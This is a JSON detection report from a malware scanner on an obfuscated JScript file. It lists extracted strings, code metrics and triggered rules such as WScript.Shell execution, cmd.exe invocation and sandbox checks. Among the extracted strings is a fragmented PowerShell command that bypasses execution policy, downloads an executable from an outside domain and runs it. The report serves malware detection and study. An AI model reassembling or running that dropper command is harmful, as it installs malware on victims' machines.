{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9808765649795532, "class": 0 } ], "prob": 0.98087656, "class": 0, "models": [ { "m": "az", "prob": 0.95978063, "class": 0 }, { "m": "az/scripts", "prob": 0.98087656, "class": 0 }, { "m": "az/javascript", "prob": 0.10545129, "class": 0 } ], "version": "v16.16", "thresholds": [ 0.9979839, 1.0 ], "analyzed_at": "2026-05-11T18:03:13Z" }, "path": "2196fe2f79495368d26102d5d54a771316455fa4917c6edd12488059662cdb8b.js", "raw": { "v": "4", "fs": [ { "f": "O₄(AlAsSXe₂)H₂(Os₂Po₃)", "k": { "source.imports[0]": "abbywi", "source.imports[1]": "abihciwg", "source.imports[2]": "acwydralb", "source.imports[3]": "adera", "source.imports[4]": "agavhajhej", "source.imports[5]": "ahylxuda", "source.imports[6]": "ajagjij", "source.imports[7]": "akoboq", "source.imports[8]": "alfyplessap", "source.imports[9]": "apmij", "source.strings[0]": ";$uzmez='^e'');(New-';$xzymo='^Set-Execu';$ulirgo='^tp://laro';$eqtem='^ath=($env';$evyvz='^).Downloa';$ogxow='^Webclient';$utkyjv='^/777.exe''';$gsydibv='^tionPolic';$upoh='^stem.Net.';$zceqmi='^Object Sy';$cepsuhm='^ipbafa.ex';$qfyzko='^dFile(''ht';$awysqe='^cess $pat'; Invoke-Expression ($xzymo+$gsydibv+$monsucm+$hetfo+$innypu+$eqtem+$ykjygr+$cepsuhm+$uzmez+$zceqmi+$upoh+$ogxow+$evyvz+$qfyzko+$ulirgo+$ojogo+$utkyjv+$pobbi+$ykpyffy+$awysqe+$binkucb);", "source.strings[1]": "WScript.Shell", "source.strings[2]": "afganaktyzc", "source.strings[3]": "akolybb", "source.strings[4]": "aropfiscox", "source.strings[5]": "awabazr", "source.strings[6]": "cmd.exe /c ", "source.strings[7]": "cmd.exe /c \\\"po", "source.strings[8]": "dsavyxulo", "source.strings[9]": "ebqabem", "source.has_imports": true, "source.imports[10]": "asaboczi", "source.imports[11]": "aznimuqas", "source.imports[12]": "begdyvgu", "source.imports[13]": "bsuxgibk", "source.imports[14]": "buwafinb", "source.imports[15]": "byvacc", "source.imports[16]": "clixgupzyv", "source.imports[17]": "cqorobcit", "source.imports[18]": "cqorobcit.tdurot", "source.imports[19]": "ctywo", "source.imports[20]": "cujmolen", "source.imports[21]": "cvujext", "source.imports[22]": "cyfpatjezv", "source.imports[23]": "dacyki", "source.imports[24]": "defumli", "source.imports[25]": "dobure", "source.imports[26]": "ecaf", "source.imports[27]": "eckizety", "source.imports[28]": "edeb", "source.imports[29]": "edeb.CreateObject", "source.imports[30]": "edehi", "source.imports[31]": "efxoxyb", "source.imports[32]": "egnoqqy", "source.imports[33]": "ekgimiwic", "source.imports[34]": "elypa", "source.imports[35]": "emesysicq", "source.imports[36]": "epjutgywxa", "source.imports[37]": "erogo", "source.imports[38]": "etgeva", "source.imports[39]": "evozo", "source.imports[40]": "exrodceqez", "source.imports[41]": "ezapxunhycg", "source.imports[42]": "ezgalu", "source.imports[43]": "fakyfbevra", "source.imports[44]": "femudr", "source.imports[45]": "ftapun", "source.imports[46]": "gjoxektux", "source.imports[47]": "gujuhb", "source.imports[48]": "hajxyqebu", "source.imports[49]": "hdamxukxa", "source.imports[50]": "hojebe", "source.imports[51]": "hqimit", "source.imports[52]": "ibecudw", "source.imports[53]": "ibuftaflig", "source.imports[54]": "idylle", "source.imports[55]": "ifopracxa", "source.imports[56]": "imyqesk", "source.imports[57]": "ipnunfumo", "source.imports[58]": "isxoxnup", "source.imports[59]": "itpirnezmiv", "source.imports[60]": "ivduzpita", "source.imports[61]": "iwbacove", "source.imports[62]": "iwira", "source.imports[63]": "ixamjejy", "source.imports[64]": "jadwokry", "source.imports[65]": "jereqhuphe", "source.imports[66]": "jqutzo", "source.imports[67]": "jtofuda", "source.imports[68]": "kvulevu", "source.imports[69]": "lekazyzfi", "source.imports[70]": "lrizelysi", "source.imports[71]": "mjozuqafu", "source.imports[72]": "muvhurf", "source.imports[73]": "myltuc", "source.imports[74]": "ngyqjokv", "source.imports[75]": "nhyfna", "source.imports[76]": "nmufdygjobt", "source.imports[77]": "nofarso", "source.imports[78]": "nqijcarefi", "source.imports[79]": "nubginmuldu", "source.imports[80]": "nxuvxityq", "source.imports[81]": "obelde", "source.imports[82]": "ocizofa", "source.imports[83]": "ololsu", "source.imports[84]": "opulwolyw", "source.imports[85]": "opyrmusr", "source.imports[86]": "orutmawvend", "source.imports[87]": "ovkidq", "source.imports[88]": "oxbyzej", "source.imports[89]": "ozatfec", "source.imports[90]": "pbuhbixfavy", "source.imports[91]": "pdatqecqed", "source.imports[92]": "pdewi", "source.imports[93]": "pedholzo", "source.imports[94]": "pekyhcucl", "source.imports[95]": "pighictiqi", "source.imports[96]": "puwqab", "source.imports[97]": "pyzsej", "source.imports[98]": "qazfawdagw", "source.imports[99]": "qdylbucpakro", "source.strings[10]": "emydbycny", "source.strings[11]": "flumhit", "source.strings[12]": "hfitis", "source.strings[13]": "jalihy", "source.strings[14]": "kdikixuno", "source.strings[15]": "ll $ojogo='^dimas.top';$hetfo='^-Scope Pr';$pobbi='^,$path); ';$innypu='^ocess; $p';$monsucm='^y Bypass ';$binkucb='^h';$ykpyffy='^Start-Pro';$ykjygr='^:temp+", "source.strings[16]": "ll $ojogo='^dimas.top';$hetfo='^-Scope Pr';$pobbi='^,$path); ';$innypu='^ocess; $p';$monsucm='^y Bypass ';$binkucb='^h';$ykpyffy='^Start-Pro';$ykjygr='^:temp+''\\b';$uzmez='^e'');(New-';$xzymo='^Set-Execu';$ulirgo='^tp://laro';$eqtem='^ath=($env';$evyvz='^).Downloa';$ogxow='^Webclient';$utkyjv='^/777.exe''';$gsydibv='^tionPolic';$upoh='^stem.Net.';$zceqmi='^Object Sy';$cepsuhm='^ipbafa.ex';$qfyzko='^dFile(''ht';$awysqe='^cess $pat'; Invoke-Expression ($xzymo+$gsydibv+$monsucm+$hetfo+$innypu+$eqtem+$ykjygr+$cepsuhm+$uzmez+$zceqmi+$upoh+$ogxow+$evyvz+$qfyzko+$ulirgo+$ojogo+$utkyjv+$pobbi+$ykpyffy+$awysqe+$binkucb);\\", "source.strings[17]": "lycraninj", "source.strings[18]": "mvuvqavoh", "source.strings[19]": "neqane", "source.strings[20]": "ombyracah", "source.strings[21]": "oryrfi", "source.strings[22]": "qhawec", "source.strings[23]": "sdobaqr", "source.strings[24]": "string", "source.strings[25]": "tfosadgi", "source.strings[26]": "ugjizyffy", "source.strings[27]": "undefined", "source.strings[28]": "upefvadukf", "source.strings[29]": "upxudurde", "source.strings[30]": "vawzunz", "source.strings[31]": "yhnozrovheqt", "source.functions[0]": "alfyplessap", "source.functions[1]": "apmij", "source.functions[2]": "axoxysfexz", "source.functions[3]": "elypa", "source.functions[4]": "emesysicq", "source.functions[5]": "epjutgywxa", "source.functions[6]": "ezapxunhycg", "source.functions[7]": "fakyfbevra", "source.functions[8]": "fqykrudlimg", "source.functions[9]": "jereqhuphe", "source.imports[100]": "qkisylmi", "source.imports[101]": "qlomoswijty", "source.imports[102]": "rlotjyqqujbo", "source.imports[103]": "roqtax", "source.imports[104]": "sakhawfoq", "source.imports[105]": "salhy", "source.imports[106]": "sezjupyxg", "source.imports[107]": "sfikipu", "source.imports[108]": "sowoxozy", "source.imports[109]": "stosahnu", "source.imports[110]": "tarvip", "source.imports[111]": "tcaqryk", "source.imports[112]": "tdurot", "source.imports[113]": "tvotytlaho", "source.imports[114]": "ubafi", "source.imports[115]": "ubahgoliw", "source.imports[116]": "ubmobligza", "source.imports[117]": "ubvegyhuzq", "source.imports[118]": "uciseb", "source.imports[119]": "ucsulu", "source.imports[120]": "udygbylbi", "source.imports[121]": "ufcugixe", "source.imports[122]": "ugfolkydox", "source.imports[123]": "ukzuwfyhlu", "source.imports[124]": "ulevecga", "source.imports[125]": "urcujtec", "source.imports[126]": "usejxo", "source.imports[127]": "uvacdykadq", "source.imports[128]": "uvmitluzo", "source.imports[129]": "uvtubbojpyg", "source.imports[130]": "uxxejrubv", "source.imports[131]": "vcuvwewgy", "source.imports[132]": "vinatcotg", "source.imports[133]": "vmicohsa", "source.imports[134]": "vnedeqdadxo", "source.imports[135]": "vzikjatxizf", "source.imports[136]": "weslyh", "source.imports[137]": "wyrlymo", "source.imports[138]": "xmobtec", "source.imports[139]": "xyskubsahs", "source.imports[140]": "ydxezbonb", "source.imports[141]": "ykemadi", "source.imports[142]": "ymabnetlo", "source.imports[143]": "ynasi", "source.imports[144]": "yrbyjivs", "source.imports[145]": "ytivy", "source.imports[146]": "yvnapus", "source.imports[147]": "ywaze", "source.imports[148]": "zexebc", "source.imports[149]": "zvofcutbemt", "source.functions[10]": "ololsu", "source.functions[11]": "salhy", "source.functions[12]": "uvmitluzo", "source.functions[13]": "ywugo" }, "x": 7, "id": 0, "is": [ "myltuc", "lekazyzfi", "edeb", "ctywo", "iwira", "ulevecga", "pdewi", "imyqesk", "bsuxgibk", "agavhajhej", "cvujext", "ukzuwfyhlu", "tarvip", "udygbylbi", "tdurot", "cyfpatjezv", "sakhawfoq", "nhyfna", "asaboczi", "uvacdykadq", "isxoxnup", "qlomoswijty", "nmufdygjobt", "ftapun", "yvnapus", "idylle", "egnoqqy", "ifopracxa", "cqorobcit", "edeb.CreateObject", "salhy", "ajagjij", "uxxejrubv", "ezgalu", "pdatqecqed", "opulwolyw", "opulwolyw", "jtofuda", "itpirnezmiv", "etgeva", "ngyqjokv", "orutmawvend", "tcaqryk", "tcaqryk", "hojebe", "fakyfbevra", "uvmitluzo", "sfikipu", "dobure", "dobure", "sowoxozy", "ixamjejy", "nqijcarefi", "nqijcarefi", "ydxezbonb", "ubafi", "hqimit", "vmicohsa", "obelde", "aznimuqas", "ololsu", "apmij", "sezjupyxg", "femudr", "ytivy", "ecaf", "ynasi", "acwydralb", "acwydralb", "adera", "ufcugixe", "ufcugixe", "ibuftaflig", "oxbyzej", "oxbyzej", "vinatcotg", "jereqhuphe", "ubahgoliw", "elypa", "ucsulu", "iwbacove", "pedholzo", "roqtax", "vzikjatxizf", "usejxo", "epjutgywxa", "ezapxunhycg", "abihciwg", "ahylxuda", "urcujtec", "urcujtec", "xmobtec", "ubvegyhuzq", "ywaze", "ywaze", "emesysicq", "lrizelysi", "weslyh", "ocizofa", "ocizofa", "tvotytlaho", "edehi", "ivduzpita", "ivduzpita", "ozatfec", "ozatfec", "ubmobligza", "exrodceqez", "vnedeqdadxo", "vnedeqdadxo", "yrbyjivs", "dacyki", "pyzsej", "clixgupzyv", "clixgupzyv", "nubginmuldu", "evozo", "evozo", "puwqab", "ykemadi", "wyrlymo", "alfyplessap", "hajxyqebu", "uvtubbojpyg", "zexebc", "jadwokry", "nxuvxityq", "mjozuqafu", "gjoxektux", "ipnunfumo", "ipnunfumo", "qkisylmi", "xyskubsahs", "pighictiqi", "begdyvgu", "begdyvgu", "dacyki", "pyzsej", "clixgupzyv", "clixgupzyv", "nubginmuldu", "evozo", "evozo", "puwqab", "ykemadi", "wyrlymo", "alfyplessap", "hajxyqebu", "uvtubbojpyg", "zexebc", "jadwokry", "nxuvxityq", "mjozuqafu", "gjoxektux", "ipnunfumo", "ipnunfumo", "qkisylmi", "xyskubsahs", "pighictiqi", "begdyvgu", "begdyvgu", "dacyki", "pyzsej", "clixgupzyv", "clixgupzyv", "nubginmuldu", "evozo", "evozo", "puwqab", "ykemadi", "wyrlymo", "alfyplessap", "hajxyqebu", "uvtubbojpyg", "zexebc", "jadwokry", "nxuvxityq", "mjozuqafu", "gjoxektux", "ipnunfumo", "ipnunfumo", "qkisylmi", "xyskubsahs", "pighictiqi", "begdyvgu", "begdyvgu", "dacyki", "pyzsej", "clixgupzyv", "clixgupzyv", "nubginmuldu", "evozo", "evozo", "puwqab", "ykemadi", "wyrlymo", "alfyplessap", "hajxyqebu", "uvtubbojpyg", "zexebc", "jadwokry", "nxuvxityq", "mjozuqafu", "gjoxektux", "ipnunfumo", "ipnunfumo", "qkisylmi", "xyskubsahs", "pighictiqi", "begdyvgu", "begdyvgu", "opyrmusr", "ovkidq", "cujmolen", "zvofcutbemt", "akoboq", "efxoxyb", "erogo", "jqutzo", "cqorobcit.tdurot", "pbuhbixfavy", "muvhurf", "muvhurf", "rlotjyqqujbo", "uciseb", "ovkidq", "cujmolen", "zvofcutbemt", "akoboq", "efxoxyb", "erogo", "kvulevu", "ekgimiwic", "hdamxukxa", "hdamxukxa", "pekyhcucl", "ugfolkydox", "ymabnetlo", "ajagjij", "uxxejrubv", "ezgalu", "pdatqecqed", "opulwolyw", "opulwolyw", "jtofuda", "itpirnezmiv", "etgeva", "ngyqjokv", "orutmawvend", "tcaqryk", "tcaqryk", "hojebe", "fakyfbevra", "uvmitluzo", "sfikipu", "dobure", "dobure", "sowoxozy", "ixamjejy", "nqijcarefi", "nqijcarefi", "ydxezbonb", "ubafi", "hqimit", "vmicohsa", "obelde", "aznimuqas", "ajagjij", "uxxejrubv", "ezgalu", "pdatqecqed", "opulwolyw", "opulwolyw", "jtofuda", "itpirnezmiv", "etgeva", "ngyqjokv", "orutmawvend", "tcaqryk", "tcaqryk", "hojebe", "fakyfbevra", "uvmitluzo", "sfikipu", "dobure", "dobure", "sowoxozy", "ixamjejy", "nqijcarefi", "nqijcarefi", "ydxezbonb", "ubafi", "hqimit", "vmicohsa", "obelde", "aznimuqas", "qdylbucpakro", "byvacc", "byvacc", "stosahnu", "gujuhb", "eckizety", "eckizety", "abbywi", "vcuvwewgy", "qazfawdagw", "nofarso", "defumli", "buwafinb", "buwafinb", "ibecudw" ], "ms": { "file": { "size": 12541.0 }, "text": { "tab_count": 2361.0, "digit_ratio": 0.08, "space_count": 1218.0, "total_lines": 475.0, "char_entropy": 4.9, "unique_chars": 70.0, "import_density": 65.47, "lines_over_200": 1.0, "lines_over_500": 1.0, "string_density": 0.48, "avg_line_length": 25.4, "max_line_length": 689.0, "empty_line_ratio": 0.01, "last_line_length": 1.0, "long_token_count": 2.0, "most_common_char": "a", "whitespace_ratio": 0.32, "most_common_ratio": 0.04, "identifier_density": 0.99, "line_length_stddev": 32.59, "normalized_import_count": 14.27, "normalized_string_count": 10.46, "repeated_char_sequences": 10.0, "suspicious_string_ratio": 0.01, "max_inline_whitespace_run": 2.0, "normalized_function_count": 0.64, "imports_to_functions_ratio": 22.21, "strings_to_functions_ratio": 16.29, "suspicious_identifier_ratio": 0.01, "normalized_unique_identifiers": 17.21, "identifiers_to_functions_ratio": 10.93 }, "imports": { "total": 311.0, "unique_modules": 150.0, "third_party_count": 311.0, "third_party_ratio": 1.0 }, "strings": { "total": 228.0, "avg_length": 11.44, "max_length": 622.0, "avg_entropy": 2.21, "total_bytes": 2608.0, "entropy_stddev": 0.64, "high_entropy_count": 2.0, "shell_command_strings": 2.0 }, "comments": {}, "functions": { "total": 14.0, "length_stddev": 0.5, "avg_name_length": 8.36, "no_params_count": 14.0, "avg_length_lines": 3.5, "max_length_lines": 4.0, "min_length_lines": 3.0, "density_per_100_lines": 2.95, "code_in_functions_ratio": 0.1 }, "identifiers": { "total": 472.0, "avg_length": 7.87, "max_length": 12.0, "min_length": 4.0, "avg_entropy": 2.69, "reuse_ratio": 0.32, "unique_count": 153.0, "length_stddev": 1.92, "high_entropy_count": 1.0, "high_entropy_ratio": 0.01, "all_lowercase_ratio": 0.99, "keyboard_pattern_names": 1.0 } }, "ss": [ [ 59, "ugjizyffy" ], [ 60, "ugjizyffy" ], [ 88, "lycraninj" ], [ 89, "lycraninj" ], [ 148, "kdikixuno" ], [ 149, "kdikixuno" ], [ 212, "33960" ], [ 213, "33960" ], [ 361, "jalihy" ], [ 362, "jalihy" ], [ 454, "oryrfi" ], [ 455, "oryrfi" ], [ 517, "eceti" ], [ 518, "eceti" ], [ 539, "awabazr" ], [ 540, "awabazr" ], [ 584, "12200" ], [ 585, "12200" ], [ 606, "run" ], [ 607, "run" ], [ 652, "55784" ], [ 653, "55784" ], [ 695, "55673" ], [ 696, "55673" ], [ 782, "undefined" ], [ 783, "undefined" ], [ 1039, "yhnozrovheqt" ], [ 1040, "yhnozrovheqt" ], [ 1261, "undefined" ], [ 1262, "undefined" ], [ 1311, "WScript.Shell" ], [ 1312, "WScript.Shell" ], [ 1454, "44472" ], [ 1455, "44472" ], [ 1535, "upefvadukf" ], [ 1536, "upefvadukf" ], [ 1670, "39752" ], [ 1671, "39752" ], [ 1757, "39066" ], [ 1758, "39066" ], [ 1860, "qhawec" ], [ 1861, "qhawec" ], [ 1931, "54201" ], [ 1932, "54201" ], [ 1955, "54062" ], [ 1956, "54062" ], [ 2176, "74931" ], [ 2177, "74931" ], [ 2322, "emydbycny" ], [ 2323, "emydbycny" ], [ 2540, "aropfiscox" ], [ 2541, "aropfiscox" ], [ 2570, "31477" ], [ 2571, "31477" ], [ 2625, "afganaktyzc" ], [ 2626, "afganaktyzc" ], [ 2655, "otij" ], [ 2656, "otij" ], [ 2845, "string" ], [ 2846, "string" ], [ 3090, "ivyw" ], [ 3091, "ivyw" ], [ 3119, "45040" ], [ 3120, "45040" ], [ 3304, "oryrfi" ], [ 3305, "oryrfi" ], [ 3335, "mvuvqavoh" ], [ 3336, "mvuvqavoh" ], [ 3646, "erov" ], [ 3647, "erov" ], [ 3680, "68107" ], [ 3681, "68107" ], [ 3796, "tfosadgi" ], [ 3797, "tfosadgi" ], [ 3893, "88794" ], [ 3894, "88794" ], [ 3936, "28795" ], [ 3937, "28795" ], [ 3963, "flumhit" ], [ 3964, "flumhit" ], [ 3999, "dsavyxulo" ], [ 4000, "dsavyxulo" ], [ 4110, "74201" ], [ 4111, "74201" ], [ 4549, "52638" ], [ 4550, "52638" ], [ 4669, "undefined" ], [ 4670, "undefined" ], [ 4742, "6680" ], [ 4743, "6680" ], [ 4845, "65222" ], [ 4846, "65222" ], [ 5007, "81623" ], [ 5008, "81623" ], [ 5121, "upxudurde" ], [ 5122, "upxudurde" ], [ 5160, "ege" ], [ 5161, "ege" ], [ 5187, "neqane" ], [ 5188, "neqane" ], [ 5552, "52638" ], [ 5553, "52638" ], [ 5672, "undefined" ], [ 5673, "undefined" ], [ 5745, "6680" ], [ 5746, "6680" ], [ 5848, "65222" ], [ 5849, "65222" ], [ 6010, "81623" ], [ 6011, "81623" ], [ 6124, "upxudurde" ], [ 6125, "upxudurde" ], [ 6163, "ege" ], [ 6164, "ege" ], [ 6190, "neqane" ], [ 6191, "neqane" ], [ 6560, "52638" ], [ 6561, "52638" ], [ 6680, "undefined" ], [ 6681, "undefined" ], [ 6753, "6680" ], [ 6754, "6680" ], [ 6856, "65222" ], [ 6857, "65222" ], [ 7018, "81623" ], [ 7019, "81623" ], [ 7132, "upxudurde" ], [ 7133, "upxudurde" ], [ 7171, "ege" ], [ 7172, "ege" ], [ 7198, "neqane" ], [ 7199, "neqane" ], [ 7561, "52638" ], [ 7562, "52638" ], [ 7681, "undefined" ], [ 7682, "undefined" ], [ 7754, "6680" ], [ 7755, "6680" ], [ 7857, "65222" ], [ 7858, "65222" ], [ 8019, "81623" ], [ 8020, "81623" ], [ 8133, "upxudurde" ], [ 8134, "upxudurde" ], [ 8172, "ege" ], [ 8173, "ege" ], [ 8199, "neqane" ], [ 8200, "neqane" ], [ 8283, "59596" ], [ 8284, "59596" ], [ 8365, "vawzunz" ], [ 8366, "vawzunz" ], [ 8400, "vawzunz" ], [ 8401, "vawzunz" ], [ 8480, "akolybb" ], [ 8481, "akolybb" ], [ 8681, "cmd.exe /c \\\"po" ], [ 8682, "cmd.exe /c " ], [ 8695, "po" ], [ 8701, "we" ], [ 8702, "we" ], [ 8708, "rs" ], [ 8709, "rs" ], [ 8715, "he" ], [ 8716, "he" ], [ 8722, "ll $ojogo='^dimas.top';$hetfo='^-Scope Pr';$pobbi='^,$path); ';$innypu='^ocess; $p';$monsucm='^y Bypass ';$binkucb='^h';$ykpyf" ], [ 8723, "ll $ojogo='^dimas.top';$hetfo='^-Scope Pr';$pobbi='^,$path); ';$innypu='^ocess; $p';$monsucm='^y Bypass ';$binkucb='^h';$ykpyf" ], [ 8887, ";$uzmez='^e'');(New-';$xzymo='^Set-Execu';$ulirgo='^tp://laro';$eqtem='^ath=($env';$evyvz='^).Downloa';$ogxow='^Webclient';$utky" ], [ 9616, "vawzunz" ], [ 9617, "vawzunz" ], [ 9651, "vawzunz" ], [ 9652, "vawzunz" ], [ 9731, "akolybb" ], [ 9732, "akolybb" ], [ 10022, "akbi" ], [ 10023, "akbi" ], [ 10116, "41325" ], [ 10117, "41325" ], [ 10268, "ebqabem" ], [ 10269, "ebqabem" ], [ 10373, "44472" ], [ 10374, "44472" ], [ 10454, "upefvadukf" ], [ 10455, "upefvadukf" ], [ 10589, "39752" ], [ 10590, "39752" ], [ 10676, "39066" ], [ 10677, "39066" ], [ 10779, "qhawec" ], [ 10780, "qhawec" ], [ 10850, "54201" ], [ 10851, "54201" ], [ 10874, "54062" ], [ 10875, "54062" ], [ 11095, "74931" ], [ 11096, "74931" ], [ 11288, "44472" ], [ 11289, "44472" ], [ 11369, "upefvadukf" ], [ 11370, "upefvadukf" ], [ 11504, "39752" ], [ 11505, "39752" ], [ 11591, "39066" ], [ 11592, "39066" ], [ 11694, "qhawec" ], [ 11695, "qhawec" ], [ 11765, "54201" ], [ 11766, "54201" ], [ 11789, "54062" ], [ 11790, "54062" ], [ 12010, "74931" ], [ 12011, "74931" ], [ 12175, "ombyracah" ], [ 12176, "ombyracah" ], [ 12213, "99671" ], [ 12214, "99671" ], [ 12293, "ofvy" ], [ 12294, "ofvy" ], [ 12315, "sdobaqr" ], [ 12316, "sdobaqr" ], [ 12399, "hfitis" ], [ 12400, "hfitis" ], [ 12433, "98747" ], [ 12434, "98747" ], [ 12458, "98747" ], [ 12459, "98747" ], [ 12528, "awigi" ], [ 12529, "awigi" ] ], "sz": 12541, "ts": [ { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 475.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "c": 0.8799999952316284, "d": "Indirect bracketed WScript command invocation", "e": [ "cqorobcit[tdurot](jqutzo, ctywo)" ], "i": "micro-behaviors/process/create/shell/wsh::wscript-shell-run-indirect", "l": 1 }, { "c": 0.75, "d": "Indirect string replacement call", "e": [ "[tdurot](jqutzo, ctywo)" ], "i": "objectives/anti-static/obfuscation/string/recovery::js-indirect-replace-call", "l": 1 }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 689.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1027", "c": 1.0, "d": "Many unique import modules", "e": [ "imports.unique_modules = 150.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::imports-unique-modules-50", "l": 1, "m": "B0032" }, { "a": "T1059", "c": 0.75, "d": "Regex component marker", "e": [ "10." ], "i": "objectives/command-and-control/reverse-shell/socket::rfc1918-host-string--rx-1", "l": 1 }, { "a": "T1105", "c": 0.8500000238418579, "d": "ClickFix copy-paste action word", "e": [ "run" ], "i": "objectives/command-and-control/dropper/execution/browser::clickfix-lure-action-word", "l": 1, "m": "B0024" }, { "c": 1.0, "d": "JavaScript file basename", "e": [ "20170110_9330ee612a9027120543d6cd601cda83.js" ], "i": "metadata/lang/encoded/unicode-escape::javascript-or-dll-basename", "l": 2 }, { "c": 1.0, "d": "cmd command name", "e": [ "cmd" ], "i": "micro-behaviors/process/create/shell/invoke::cmd-name", "l": 2 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Low string density base64 context", "e": [ "text.string_density = 0.48" ], "i": "objectives/anti-static/obfuscation/code-metrics/string-blob::js-base64-candidate-low-string-density", "l": 1, "m": "B0032" }, { "c": 0.699999988079071, "d": "Invoke- prefix for cmdlets", "e": [ "Invoke-Expression" ], "i": "micro-behaviors/process/create/shell/lang::invoke-prefix", "l": 3 }, { "a": "T1497.001", "c": 0.75, "d": "Compares value against undefined string", "e": [ "== \"undefined\"" ], "i": "objectives/anti-analysis/environment-detect/wsh::env-check-undefined-compare", "l": 1, "m": "B0003" }, { "a": "T1059.005", "c": 0.8500000238418579, "d": "WScript.Shell object creation", "e": [ "CreateObject('WScript.Shell" ], "i": "objectives/execution/interpreter/vbscript/interpreter::wscript-shell-create", "l": 3 }, { "c": 0.800000011920929, "d": "Instantiates WScript.Shell object", "e": [ "WScript.Shell" ], "i": "micro-behaviors/os/wsh/file::wscript-shell-object", "l": 3 }, { "c": 0.800000011920929, "d": "Function returns variable string value", "e": [ "bsuxgibk", "nhyfna", "ftapun" ], "i": "objectives/anti-static/obfuscation/string/reconstruct::function-returns-variable-string", "l": 3 }, { "c": 1.0, "d": "Regex component marker", "e": [ "edeb = WScript;" ], "i": "micro-behaviors/process/create/shell/injection::iot-param-injection-cond-2--inline-3976", "l": 1 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Large import graph base64 context", "e": [ "imports.unique_modules = 150.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/string-blob::js-base64-candidate-large-import-graph", "l": 1, "m": "B0032" }, { "a": "T1059", "c": 0.75, "d": "cmd.exe shell string", "e": [ "cmd.exe" ], "i": "objectives/command-and-control/reverse-shell/socket::cmd-exe-string", "l": 1 }, { "c": 1.0, "d": "JavaScript undefined literal", "e": [ "undefined" ], "i": "metadata/lang/scripted::undefined-literal", "l": 1 }, { "a": "T1036.008", "c": 0.949999988079071, "d": "Filename has .js extension", "e": [ "20170110_9330ee612a9027120543d6cd601cda83.js" ], "i": "objectives/evasion/masquerade/extension/shebang::js-extension-name", "l": 1, "m": "F0008" }, { "c": 0.800000011920929, "d": "JScript file type (WScript host)", "e": [ "WScript" ], "i": "micro-behaviors/process/interpreter/jscript::is-jscript", "l": 1 }, { "c": 1.0, "d": "JavaScript many imported modules", "e": [ "imports.unique_modules = 150.00" ], "i": "objectives/anti-static/obfuscation/string/anomaly::js-many-import-modules", "l": 1 }, { "c": 0.9200000166893005, "d": "\"crip\" fragment of split WScript.Shell", "e": [ "crip" ], "i": "objectives/execution/interpreter/scripting/host::wscript-shell-split-join--rx-2", "l": 1 }, { "c": 0.9200000166893005, "d": "\"t.Sh\" fragment of split WScript.Shell", "e": [ "t.Sh" ], "i": "objectives/execution/interpreter/scripting/host::wscript-shell-split-join--rx-3", "l": 1 }, { "c": 0.8500000238418579, "d": "Execute commands via cmd.exe /c", "e": [ "cmd.exe /c" ], "i": "micro-behaviors/process/create/shell/invoke::cmd-exe-c-command", "l": 3 }, { "c": 0.800000011920929, "d": "WScript.Shell object string", "e": [ "WScript.Shell" ], "i": "micro-behaviors/os/com/object::wscript-shell-literal", "l": 3 }, { "a": "T1027", "c": 0.7799999713897705, "d": "Hex arithmetic in string operations", "e": [ "188 + opulwolyw", "188", "6 + oxbyzej", "6", "6 + ywaze" ], "i": "objectives/anti-static/obfuscation/encoding/hex::hex-string-arithmetic", "l": 1, "m": "B0032" }, { "d": ".exe extension reference", "e": [ ".exe" ], "i": "micro-behaviors/fs/path/extension::exe-dup", "l": 2 }, { "c": 1.0, "d": "Tiny WScript.Shell fragment (variant 2a)", "e": [ "WScri" ], "i": "objectives/execution/interpreter/script/wsh-fragments::wscript-shell-fragment-tiny-2a", "l": 1 }, { "c": 0.4000000059604645, "d": "cmd.exe Windows command shell reference", "e": [ "cmd.exe" ], "i": "objectives/execution/interpreter/script/shell::cmd-exe-dup", "l": 1 }, { "a": "T1195.002", "c": 0.8199999928474426, "d": "Huge JavaScript import/symbol surface", "e": [ "imports.total = 311.00" ], "i": "objectives/supply-chain/hidden-payload/trojan::huge-import-symbol-metrics", "l": 3 }, { "c": 1.0, "d": "Tiny WScript.Shell fragment (variant 2b)", "e": [ "ipt.S" ], "i": "objectives/execution/interpreter/script/wsh-fragments::wscript-shell-fragment-tiny-2b", "l": 1 }, { "a": "T1027", "c": 0.6000000238418579, "d": "No comments in code", "e": [ "comments.total = 0.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::no-comments", "l": 1, "m": "B0032" }, { "c": 0.800000011920929, "d": "PowerShell cmdlet naming pattern in non-PS code", "e": [ "Invoke-Expression" ], "i": "objectives/execution/interpreter/script/embedded::powershell-cmdlet-patterns", "l": 3 }, { "a": "T1497.001", "c": 0.800000011920929, "d": "Checks for absence of window (WSH context)", "e": [ "typeof window == \"undefined\"" ], "i": "objectives/anti-analysis/environment-detect/wsh::env-check-no-window", "l": 3, "m": "B0003" }, { "c": 0.8999999761581421, "d": "Obfuscated WScript.Shell Run invocation", "e": [ "WScript.Shell", "cqorobcit[tdurot](jqutzo, ctywo)" ], "i": "micro-behaviors/process/create/shell/wsh::wscript-shell-run-obfuscated", "l": 3 }, { "c": 1.0, "d": "References cmd.exe file path", "e": [ "cmd", ".exe" ], "i": "micro-behaviors/process/create/shell/invoke::cmd-exe-file-path", "l": 2 } ], "sha": "2196fe2f79495368d26102d5d54a771316455fa4917c6edd12488059662cdb8b", "path": "20170110_9330ee612a9027120543d6cd601cda83.js", "type": "javascript" } ], "tv": "46790" } }